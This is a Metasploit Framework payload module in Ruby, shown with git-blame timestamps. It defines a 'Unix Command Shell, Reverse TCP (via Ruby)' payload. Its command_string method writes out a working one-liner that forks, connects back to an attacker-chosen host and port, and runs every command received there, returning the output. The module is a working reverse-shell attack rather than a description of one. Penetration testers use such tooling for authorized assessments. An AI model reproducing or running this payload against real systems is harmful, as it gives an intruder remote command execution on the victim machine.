2008-11-20 03:42:55 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-24 01:19:59 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-11-20 03:42:55 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-11-20 03:42:55 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2008-11-20 03:42:55 +00:00
|
|
|
|
|
|
|
module Metasploit3
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2010-02-24 01:19:59 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2008-11-20 03:42:55 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Connect back and create a command shell via Ruby',
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-11-20 03:42:55 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd',
|
2010-02-24 01:19:59 +00:00
|
|
|
'RequiredCmd' => 'ruby',
|
2008-11-20 03:42:55 +00:00
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
|
|
|
|
|
|
|
def command_string
|
|
|
|
"ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{datastore['LHOST']}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
|
|
|
|
end
|
|
|
|
end
|